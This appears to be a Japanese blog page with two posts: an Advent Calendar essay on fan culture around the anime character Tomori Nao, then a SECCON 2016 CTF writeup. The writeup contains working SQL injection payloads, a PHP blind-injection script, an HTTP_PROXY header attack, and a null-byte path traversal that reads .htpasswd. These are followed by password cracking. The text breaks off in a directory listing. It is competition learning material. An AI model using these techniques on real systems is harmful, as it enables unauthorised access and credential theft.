post-TomoriNao

これは友利奈緒 Advent Calendar 2016 24日目の記事です. 前回はK_atcさんの例の友利奈緒風ウィッグの髪型のセット方法のメモでした.


Charlotteの放送開始から1年半近く経とうとしています. 友利奈緒は2015年7月に始まったCharlotteに登場し, 人々に多くの感動や興奮, 尊さを届けてくれました. あれから1年半ほど経ちますが, 人々の「友利奈緒」がはっきりと変化していることに気付いているでしょうか. 友利奈緒を語るには大きく3つの期間に分ける必要があり, それぞれで「友利奈緒」という言葉が, 刻々と変化している様を見ることが出来ます. 来年も「友利奈緒 Advent Calendar」を書くことが出来るように, 来年の友利奈緒に思いを馳せつつ, これまでの「友利奈緒」を振り返ってみようと思います.



アニメ放送期

今思い出してみると, Charlotte放送前は「友利奈緒」が話題になったことは殆どないように思います. 少なくとも僕の周囲では「あー、Keyが新しいアニメやるのか」とか「野球やるのかな?」くらいで, 観る気持ちはありつつも特に積極的に情報を集めていた人は少数だったのではないでしょうか? 僕がはじめてCharlotteについてtweetしたのは2015年7月6日で, この日のtweetには友利奈緒は登場しません.


むしろ「歩未の話し方が何とも言えない」とか「下セカのほうが面白い」みたいな感想だったようで, 友利奈緒どころかCharlotteにあまり関心がなかったようです.

「友利奈緒」について意識し始めたのは4話辺りからで, 野球の話ですね. Keyらしく野球の件があって笑った記憶がありますが, その際の友利奈緒のセリフなどがとても印象的で, それ以来「友利奈緒」をはっきりと意識してCharlotteを観るようになりました.

それ以来ひたすら友利奈緒が可愛い・尊いという気持ちで観ていました. 友利奈緒を語る上で重要なワードとして「尊い」があります.

友利奈緒に対して「尊い」という表現を使い始めたのが誰なのかはっきり分かっていませんが, 恐らくみっきーさん辺りでしょうか?

友利奈緒好きが集まって夜な夜なCharlotteを観たりしました.

すると何故かこのようなtweetをするようになり…

その頃, 東京アニメセンターCharlotteの原画展が行われていました.

原画展で星ノ海学園の制服が展示されており, それを観たオタクたちが「友利奈緒になるか」と言い出したんですが, ACOSが制服を発売することに…

と, ここまでがアニメ放送期です. 何か具体的な動きがあったというよりも, 比較的ありふれた感じですね.


TomoriNao期

次にオタクたちは友利奈緒になりました. 何を思ったか, 友利奈緒になってしまいました.


恐らくこれが「友利奈緒」が世に広まった大きなきっかけで, 友利奈緒が各所で報道されました.


これ以降「友利奈緒」はそういう存在として認知されるようになりました.

post-TomoriNao

元来「友利奈緒」はCharlotteに登場するヒロインなだけでした. 時代の流れというのは恐ろしく, 次第に「友利奈緒」も風化していきます. あれほど友利奈緒を推していた人たちも, いまや「はいふり」とか様々な作品を推している状況です. それは仕方のないことで, CharlotteOVAは出ましたが, それ以降進展もなく, 作品としては終わってしまったようなものです. それよりも生きのいいコンテンツに夢中になるのは人間の性で, 自然な流れでしょう. しかしながら, そうした波に逆らいつつ, 今でも「友利奈緒」が存在していることは確かです.

そう, 次の友利奈緒の出現です. 友利奈緒の影響なのか, TomoriNaoの影響なのか, それ以外なのか, その辺りははっきりしませんが, 友利奈緒は次のステージに到達したのです.


来年も友利奈緒は存在するのか分かりませんが, 友利奈緒は時を経て新たな形に変化しつつあります. post-Tomorinaoが来年も続いていくのか, 新たな変化があるのか楽しみです.


これは24日目の記事なんですが, 25日が空白です… 誰が書くんでしょうか… きっと誰か書いてくれるでしょう… きっと…

それはそうと, 新年会やりましょう. 具体的には6日辺りに🍺

SECCON 2016 Online CTF Writeup

TomoriNaoのTomoriNaoです. 忘れる前に簡単なwriteup.

Vigenere [Crypto][100]

k: ????????????
p: SECCON{???????????????????????????????????}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ

k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe

 |ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
-+----------------------------
A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
B|BCDEFGHIJKLMNOPQRSTUVWXYZ{}A
C|CDEFGHIJKLMNOPQRSTUVWXYZ{}AB
D|DEFGHIJKLMNOPQRSTUVWXYZ{}ABC
E|EFGHIJKLMNOPQRSTUVWXYZ{}ABCD
F|FGHIJKLMNOPQRSTUVWXYZ{}ABCDE
G|GHIJKLMNOPQRSTUVWXYZ{}ABCDEF
H|HIJKLMNOPQRSTUVWXYZ{}ABCDEFG
I|IJKLMNOPQRSTUVWXYZ{}ABCDEFGH
J|JKLMNOPQRSTUVWXYZ{}ABCDEFGHI
K|KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ
L|LMNOPQRSTUVWXYZ{}ABCDEFGHIJK
M|MNOPQRSTUVWXYZ{}ABCDEFGHIJKL
N|NOPQRSTUVWXYZ{}ABCDEFGHIJKLM
O|OPQRSTUVWXYZ{}ABCDEFGHIJKLMN
P|PQRSTUVWXYZ{}ABCDEFGHIJKLMNO
Q|QRSTUVWXYZ{}ABCDEFGHIJKLMNOP
R|RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ
S|STUVWXYZ{}ABCDEFGHIJKLMNOPQR
T|TUVWXYZ{}ABCDEFGHIJKLMNOPQRS
U|UVWXYZ{}ABCDEFGHIJKLMNOPQRST
V|VWXYZ{}ABCDEFGHIJKLMNOPQRSTU
W|WXYZ{}ABCDEFGHIJKLMNOPQRSTUV
X|XYZ{}ABCDEFGHIJKLMNOPQRSTUVW
Y|YZ{}ABCDEFGHIJKLMNOPQRSTUVWX
Z|Z{}ABCDEFGHIJKLMNOPQRSTUVWXY
{|{}ABCDEFGHIJKLMNOPQRSTUVWXYZ
}|}ABCDEFGHIJKLMNOPQRSTUVWXYZ{
Vigenere cipher
https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher

やるだけ

<?php

$table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}';
$n = ['DOEE', 'JWMN', 'UFWY'];

function search($c, $k)
{
    $table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}';
    $p = null;
    foreach(range(0, 27) as $i)
    {
        if($c == $table[($i + strpos($table, $k)) % 28])
        {
            $p = $table[$i];
            break;
        }
    }
    return $p;
}

$p = [];
foreach(range(0, 27) as $i)
{
    foreach(range(0, 2) as $x){$p[$x][0] = search($n[$x][0], $table[$i]);}
    foreach(range(0, 27) as $j)
    {
        foreach(range(0, 2) as $y){$p[$y][1] = search($n[$y][1], $table[$j]);}
        foreach(range(0, 27) as $k)
        {
            foreach(range(0, 2) as $z){$p[$z][2] = search($n[$z][2], $table[$k]);}
            foreach(range(0, 27) as $l)
            {
                foreach(range(0, 2) as $_){$p[$_] = $p[$_][0] . $p[$_][1] . $p[$_][2] . search($n[$_][3], $table[$l]);}

                $flag = 'SECCON{A' . $p[0] . 'BCDEDEFG' . $p[1] . 'KLMNOPQR' . $p[2] . 'VWXYYZ}';
                $md5 = md5($flag);
                if($md5 == 'f528a6ab914c1ecf856a1d93103948fe')
                {
                    print($flag . "\n");
                    exit();
                }
            }
        }
    }
}

VoIP [Forensics][100]

Extract a voice.
The flag format is SECCON{[A-Z0-9]}.
[voip.pcap](http://files.quals.seccon.jp/voip.pcap)

Wiresharkに突っ込んで聞くだけ

flagはSECCON{9001IVR}


Memory Analysis [Forensics][100]

Find the website that the fake svchost is accessing.
You can get the flag if you access the website!!

[memoryanalysis.zip](http://files.quals.seccon.jp/memoryanalysis.zip)
The challenge files are huge, please download it first. 
Hint1: http://www.volatilityfoundation.org/
Hint2: Check the hosts file

password: fjliejflsjiejlsiejee33cnc 

ヒントどおりにやるだけ.

問題文からsvchostがあやしいことは分かっているので

$ volatility-2.5.standalone.exe -f forensic_100.raw filescan | findstr svchost
Volatility Foundation Volatility Framework 2.5
0x000000000201ef90      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\svchost.exe
0x00000000020f0268      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\svchost.exe
0x00000000024a7a90      1      0 R--rwd \Device\HarddiskVolume1\WINDOWS\system32\svchost.exe

Windows直下にsvchostがあるのは明らかにおかしいので取り出す

$ volatility-2.5.standalone.exe -f forensic_100.raw dumpfiles --dump-dir dump -Q 0x00000000020f0268
Volatility Foundation Volatility Framework 2.5
ImageSectionObject 0x020f0268   None   \Device\HarddiskVolume1\WINDOWS\svchost.exe

$ file file.None.0x81efa390.img
file.None.0x81efa390.img: PE32 executable (console) Intel 80386, for MS Windows

$ strings file.None.0x81efa390.img
-- snip --
C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd
-- snip --

http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pdにアクセスするが, 特にflagはない

次にヒントから, hostsファイルも怪しいので調べる.

$ volatility-2.5.standalone.exe -f forensic_100.raw filescan | findstr hosts
Volatility Foundation Volatility Framework 2.5
0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts

$ volatility-2.5.standalone.exe -f forensic_100.raw dumpfiles --dump-dir dump -Q 0x000000000217b748
Volatility Foundation Volatility Framework 2.5
DataSectionObject 0x0217b748   None   \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts

$ type dump/file.None.0x819a3008.dat
--- snip ---
127.0.0.1       localhost
153.127.200.178    crattack.tistory.com
--- snip ---

以上のことから153.127.200.178 crattack.tistory.comという不明な対応付けがされている.

これらのことから, http://153.127.200.178/entry/Data-Science-import-pandas-as-pdにアクセスするとflagが得られる.

flagはSECCON{_h3110_w3_h4ve_fun_w4rg4m3_}


biscuiti [Web, Crypto][300]

Can you login as admin?
http://biscuiti.pwn.seccon.jp/
[biscuiti.zip](http://files.quals.seccon.jp/biscuiti.zip)

Note: You should estimate that exploits cost an hour.

コードを読むと認証処理部分でSQL Injectionが出来ることが分かる.

' UNION SELECT username,username FROM user;

でadminとしてログイン出来たが, flagが表示されない. さらにコードを読むと, どうやらisadminというbitが立っていないといけないようだ.

Cookie['name' => 'admin', 'isadmin' =>> true]のようにisadminがtrueなデータをSerializeし, 末尾にそれのMAC値を付けてBase64エンコードしたものを入れればflagが得られる.

MAC値はaes-128-cbcで処理されていて, ENC_KEYが分からない. しかしSQL Injectionで任意のユーザでログイン可能なため, (isadminは立っていないが)plainなデータとMAC値の双方を手に入れることが出来る. その状態から['name' => 'admin', 'isadmin' =>> true]MAC値を計算しろという問題のようだ.

以上のことから, Padding Oracle攻撃でflagが得られそう. あとはやるだけ.

コードどっかいったので後で更新する

よってflagはSECCON{049a65dae9b075ebb68dd78d7c8c300f3b532065}


Anti-Debugging [Binary][100]

Reverse it.
[bin](http://files.quals.seccon.jp/bin)
may some AV will alert,but no problem.

IDAに突っ込むと特に難読化とかされてないけど, Anti-Debugがいっぱいあるバイナリだと分かる.

別に難しいことはしてないので, jmpしてるところを書き換えて, フラグ出力してるところ(0x401663)に飛ばせば終わり.

flagはSECCON{check_Ascii85}


basiq [Web][100]

What is admin's password?☺
http://basiq.pwn.seccon.jp

ソースを眺めていると, client.jsに

if(loginuser == 'admin'){
    links.push({label:'Admin', href:'/admin/'});
}

と書かれている.

http://basiq.pwn.seccon.jp/adminにアクセスするとBASIC認証が掛かっている.

テキトーな値を入れていると, sqli出来ることに気が付く. あとはやるだけ.

<?php

require_once 'vendor/autoload.php';
use GuzzleHttp\Client;

function auth($password)
{
    try
    {
        $client = new Client(['auth' => ['admin', $password]]);
        return $client->get('http://basiq.pwn.seccon.jp/admin/');
    }
    catch(Exception $e)
    {
        //
    }
}

$password = 'SECCON{';
$pattern = implode('', range('a', 'z')) . implode('', range('A', 'Z')) . implode('', range(0, 9)) . '_}';

foreach(range(strlen($password) + 1, 20) as $len)
{
    foreach(str_split($pattern) as $c)
    {
        $t = $password . $c;
        $r = auth("A' or (id = 'admin' and mid(binary pass, 1, {$len}) = '{$t}') #");
        if($r != null && $r->getStatusCode() == 200)
        {
            $password .= $c;
            if($c == '}')
            {
                print('flag is ' . $password . "\n");
                exit();
            }
            else
            {
                print($password . "\n");
            }
            break;
        }
    }
}

flagはSECCON{Carnival}


pppppoxy [Web][200]

Log in as admin and get the flag
[pppppoxy.zip](http://files.quals.seccon.jp/pppppoxy.zip).
$ file pppppoxy.exe
pppppoxy.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

.NET製だし, 作問者的にVB.NETで書かれたものだろうと推測. きっと難読化/解析妨害が行われているとは思うが, 一応バイナリ的に見てみる.

dotPeekに突っ込んでみると, 案の定解析妨害されていることが分かる. de4dotを使って解析出来るようにしてみる.

$ de4dot -d pppppoxy.exe
Latest version and source code: http://www.de4dot.com/
21 deobfuscator modules loaded!

Detected Unknown Obfuscator (pppppoxy.exe)

$ de4dot pppppoxy.exe -p un
Latest version and source code: http://www.de4dot.com/
21 deobfuscator modules loaded!

Detected Unknown Obfuscator (pppppoxy.exe)
Cleaning pppppoxy.exe
Renaming all obfuscated symbols
Saving pppppoxy-cleaned.exe

これでdotPeekに突っ込むと, 読めるけど, 実行時処理とかが多すぎて全く分からない. なんとなくmd5などを計算しているのは分かる.

using System.Security.Cryptography;

namespace b
{
  internal delegate MD5CryptoServiceProvider Delegate91();
}

次に実行時のメモリを見てみると

023BC4B8-023BC56F: B8h(184)Byte  [Windows ANSI]
Address  : +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +A +B +C +D +E +F  0123456789ABCDEF
023BC4B8 : 53 00 45 00 43 00 43 00 4F 00 4E 00 7B 00 00 00  S E C C O N {    
023BC4C8 : 00 00 00 00 18 E9 16 71 01 00 00 00 70 00 00 00       ・q    p    
023BC4D8 : 00 00 00 00 18 E9 16 71 01 00 00 00 72 00 00 00       ・q    r    
023BC4E8 : 00 00 00 00 14 FD 16 71 00 00 00 00 00 00 00 00        q         
023BC4F8 : 80 10 12 00 A4 83 14 00 01 00 00 00 00 00 00 00     、・          
023BC508 : 08 E6 15 71 00 00 00 00 00 00 00 00 00 00 00 00   ・q             
023BC518 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00                   
023BC528 : 00 00 00 00 00 00 00 00 9C 9D 14 00 00 00 00 00          悃       
023BC538 : 6C 08 17 71 00 00 00 00 00 00 00 00 00 00 00 00  l  q             
023BC548 : 00 00 00 00 00 00 00 00 00 00 00 00 40 83 14 00              @・  
023BC558 : 00 00 00 00 4C D5 16 71 EC C4 3B 02 00 00 00 00      Lユ q・;      
023BC568 : 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ??                   

それらしいものはあるが, flagは分からない.

仕方ないのでWeb問として解く.

問題名から明らかだが, 恐らくプロキシ的な問題だろう. 「proxy 脆弱性」で検索してみると, 1番上に「CGI ウェブサーバがヘッダ Proxy の値を環境変数 HTTP_PROXY に設定する脆弱性」というものが出てきた.
https://jvn.jp/vu/JVNVU91485132/

どうやらProxyというヘッダに値を入れると, 任意のサーバをProxyとして経由してしまう脆弱性のようだ.
https://www.securesoft.co.jp/news_mt/docs/TR16-008_HTTP_PROXY(CVE-2016-5385).pdf.pdf)

テキトーにサーバを立てて, ログインリクエストを飛ばすと以下のようになった.

# サーバを立てる
$ php -S 127.0.0.1:8000
# リクエストを送信する
$ curl -H 'Proxy: http://127.0.0.1:8000' http://127.0.0.1 --data 'user=admin&pass=admin'
# 結果
127.0.0.1:54508 [404]: http://127.0.0.1/Authenticator?user=admin - No such file or directory

http://127.0.0.1/Authenticator?user=adminにアクセスしていることが分かる. 試しにアクセスしてみると

{"hash":"C432A8174394A3F655B2BD29BB075E4C"}

さっきデコンパイルした際にmd5値を計算しているような箇所があったし, C432A8174394A3F655B2BD29BB075E4Cは何かのmd5ハッシュだろう.

Hash Killerに投げてもC432A8174394A3F655B2BD29BB075E4Cの元の値は分からない. そもそもどうしてこのようなリクエストが送られるのか考えてみると, ユーザがユーザ名とパスワードを入力→整合チェックするためにhttp://127.0.0.1/Authenticator?user=adminにアクセス→結果を表示みたいな流れなんだろうと思いつく. つまりhttp://127.0.0.1/Authenticator?user=adminにリクエストが飛んできたとき, 自分が入力したパスワードのmd5値を返せば良さそうだ.

Authenticatorというファイルに{"hash":"21232F297A57A5A743894A0E4A801FC3"}って書き込んで, 同じようにリクエストを飛ばすと

$ curl -H 'Proxy: http://127.0.0.1:8000' http://127.0.0.1 --data 'user=admin&pass=admin'
<html><body><h2 style="margin-top:100px;text-align:center">SECCON{D5691FB40B2AF60CA78DA78AC65A71E2}</h2></body></html>

よってflagはSECCON{D5691FB40B2AF60CA78DA78AC65A71E2}

バイナリ的に解けなかったの悔しいのでそのうち頑張る)


uncomfortable web [Web][300]

Attack to http://127.0.0.1:81/authed/ through the uploaded script at http://uncomfortableweb.pwn.seccon.jp/.
Get the flag in the database!

取り敢えずhttp://127.0.0.1:81/にアクセスするように書く

curl "http://127.0.0.1:81/"

すると次のようなレスポンスが得られる

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100   903  100   903    0     0   721k      0 --:--:-- --:--:-- --:--:--  881k
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /</title>
 </head>
 <body>
<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

幾つか怪しい部分はあるが, select.cgiauthedについて調べてみる.

curl "http://127.0.0.1:81/select.cgi"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
187   187    0   187    0     0  10251      0 --:--:-- --:--:-- --:--:-- 10388
187   187    0   187    0     0  10107      0 --:--:-- --:--:-- --:--:--  9842
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>
curl "http://127.0.0.1:81/authed"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
115   460  115   460    0     0   374k      0 --:--:-- --:--:-- --:--:--  449k
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Authorization Required</title>
</head><body>
<h1>Authorization Required</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

authedは認証が掛かっているようでアクセスできない.

select.cgiはtxtというパラメータを付けられるらしいので, 付けてみる.

curl "http://127.0.0.1:81/select.cgi?txt=a"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
102  1131    0  1131    0     0  60497      0 --:--:-- --:--:-- --:--:-- 62833
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/a.txt<br>
<br>
                       /$$     /$$                       /$$       /$$            /$$                /$$    <br>
                      | $$    | $$                      | $$      /$$/           | $$               | $$    <br>
  /$$$$$$  /$$   /$$ /$$$$$$  | $$$$$$$   /$$$$$$   /$$$$$$$     /$$//$$$$$$    /$$$$$$  /$$   /$$ /$$$$$$  <br>
 |____  $$| $$  | $$|_  $$_/  | $$__  $$ /$$__  $$ /$$__  $$    /$$/|____  $$  |_  $$_/ |  $$ /$$/|_  $$_/  <br>
  /$$$$$$$| $$  | $$  | $$    | $$  \ $$| $$$$$$$$| $$  | $$   /$$/  /$$$$$$$    | $$    \  $$$$/   | $$    <br>
 /$$__  $$| $$  | $$  | $$ /$$| $$  | $$| $$_____/| $$  | $$  /$$/  /$$__  $$    | $$ /$$ &gt;$$  $$   | $$ /$$<br>
|  $$$$$$$|  $$$$$$/  |  $$$$/| $$  | $$|  $$$$$$$|  $$$$$$$ /$$/  |  $$$$$$$ /$$|  $$$$//$$/\  $$  |  $$$$/<br>
 \_______/ \______/    \___/  |__/  |__/ \_______/ \_______/|__/    \_______/|__/ \___/ |__/  \__/   \___/  <br>
<br>
<br>
</body></html>

明らかにauthed以下のa.txtというファイルにアクセスしてることが分かる.

ディレクトリトラバーサルが出来ないか試すと出来た.

curl "http://127.0.0.1:81/select.cgi?txt=.htaccess%00"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
117   353    0   353    0     0  19503      0 --:--:-- --:--:-- --:--:-- 20764
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
AuthUserFile /var/www/html-inner/authed/.htpasswd<br>
AuthGroupFile /dev/null<br>
AuthName &quot;SECCON 2016&quot;<br>
AuthType Basic<br>
Require user keigo<br>
</body></html>

.htpasswdは/var/www/html-inner/authed/.htpasswdにあるらしいので取り出す.

curl "http://127.0.0.1:81/select.cgi?txt=.htpasswd%00"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
108   216    0   216    0     0  11647      0 --:--:-- --:--:-- --:--:-- 12000
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
keigo:LdnoMJCeVy.SE<br>
</body></html>

Basic認証なのでkeigo:LdnoMJCeVy.SEをjohnに投げるとパスワードがtestであることが分かる.

これらの情報をもとにauthedにアクセスする.

curl --user keigo:test "http://127.0.0.1:81/authed/"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
103  1452  103  1452    0     0   373k      0 --:--:-- --:--:-- --:--:--  472k
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /authed</title>
 </head>
 <body>
<h1>Index of /authed</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="a.txt">a.txt</a></td><td align="right">30-Nov-2016 09:59  </td><td align="right">888 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="b.txt">b.txt</a></td><td align="right">28-Nov-2016 12:00  </td><td align="right"> 78 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="c.txt">c.txt</a></td><td align="right">30-Nov-2016 10:04  </td><td align="right"> 48 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="sqlinj/">sqlinj/</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

sqlinjというディレクトリが明らかに怪しい. アクセスしてみると

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /authed/sqlinj</title>
 </head>
 <body>
<h1>Index of /authed/sqlinj</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/authed/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="1.cgi">1.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="2.cgi">2.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="3.cgi">3.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="4.cgi">4.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="5.cgi">5.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="6.cgi">6.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="7.cgi">7.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="8.cgi">8.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="9.cgi">9.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="10.cgi">10.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="11.cgi">11.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="12.cgi">12.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="13.cgi">13.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="14.cgi">14.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="15.cgi">15.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="16.cgi">16.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="17.cgi">17.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="18.cgi">18.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="19.cgi">19.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="20.cgi">20.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="21.cgi">21.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
